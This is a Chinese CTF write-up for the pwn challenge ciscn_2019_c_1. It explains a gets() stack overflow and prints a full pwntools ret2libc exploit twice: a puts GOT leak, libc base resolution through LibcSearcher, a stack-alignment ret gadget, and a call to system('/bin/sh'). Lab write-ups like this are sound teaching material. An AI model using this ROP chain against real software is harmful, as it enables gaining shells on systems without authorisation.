ciscn_2019_c_1 题解
用checksec检查文件安全属性
可以看到是64位程序,栈上开启了不可执行保护,但是没有栈检测标志,同时PIE也关闭了,推测需要进行缓冲区溢出.
使用IDA反汇编程序
从反汇编后的代码可以看出这个程序是一个所谓的加密机,关键漏洞代码位于encrypt()
内。
这个函数中有我们非常熟悉的gets()
,这里显然可以进行缓冲区溢出利用,中间的部分是对字符串进行处理,我们不需要看得太仔细,因为可以通过传入\x00字符使循环提前终止,这样就不会影响我们的payload的了。
获取libc基址
接下来就需要寻找system()
的函数构造POC了。但是经过我们仔细查找,程序中没有任何可以利用的函数,而且也没有关于shell的字符串,因此我们只能寄希望于libc了,我们可以借助puts()
函数将puts()
的真实装载地址给打印出来,然后利用LibcSearcher库搜索满足条件的libc库。
为了构造payload,我们还需要一些gadget来帮助我们完成函数的调用,我们可以利用ROPgadget工具来帮我们查找,具体指令如下:
ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
在amd64架构下,函数调用的第一个参数存放在rdi中,因此我们需要pop rdi;ret
这条指令来帮助我们给函数参数赋值。
payload如下:
from pwn import *
from LibcSearcher import *
context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
r=process('./ciscn_2019_c_1')
enc_addr=0x4009A0
pop_rdi_ret=0x0000000000400c83
plt=elf.plt['puts']
got=elf.got['puts']
payload= b'\x00'*(0x50+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_addr)
r.sendline(b'1')
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvlines(2)
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
sysaddr=libcbase+libc.dump("system")
shell=libcbase+libc.dump("str_bin_sh")
这里需要用到plt表和外部函数调用的一些知识,读者可以自行查阅。在这里我们将got表中puts()
表项的地址赋给了rdi,然后交给puts
打印,puts()
会答应puts()
表项保存的值,即libc中puts()
真实的装载地址,最后我们在返回地址中填入encrypt()
的地址,程序又会重新回到encrypt()
函数中。当得到真实装载地址后,我们可以利用LibcSearcher库进行搜索,得到符合条件的libc,然后可以算出虚拟内存中libc装载的基地址。
这里我们随便选择一个即可,如果后面程序报错就更换一个!
getshell
得到libc的基址后,我们就可以利用 LibcSearcher获取system()
的装载地址和shell字符串的装载地址,然后构造POC了。
ret=0x00000000004006b9
payload= b'\x00'*(0x50+8)+p64(ret)+p64(pop_rdi_ret)+p64(shell)+p64(sysaddr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.interactive()
这个地方还会涉及到堆栈对齐的问题,有时候POC都构造正确了,但是运行时仍然报段错误,可能就是堆栈没有对齐,这是我们可以加入一条ret指令,改变一下堆栈,例如假如rsp指向了0xff88,这是一个没有对齐的地址,增加ret后就会变成0xff90,这个一个已经对齐的地址,可以正常运行。是否增加ret指令需要依据实际情况来判断,我们可以两种情况都尝试一下。
完整代码
from pwn import *
from LibcSearcher import *
context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
r=process('./ciscn_2019_c_1')
enc_addr=0x4009A0
pop_rdi_ret=0x0000000000400c83
plt=elf.plt['puts']
got=elf.got['puts']
payload= b'\x00'*(0x50+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_addr)
r.sendline(b'1')
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvlines(2)
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
sysaddr=libcbase+libc.dump("system")
shell=libcbase+libc.dump("str_bin_sh")
ret=0x00000000004006b9
payload= b'\x00'*(0x50+8)+p64(ret)+p64(pop_rdi_ret)+p64(shell)+p64(sysaddr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.interactive()
这题我尝试了好几个libc才找到正确的libc,麻了: (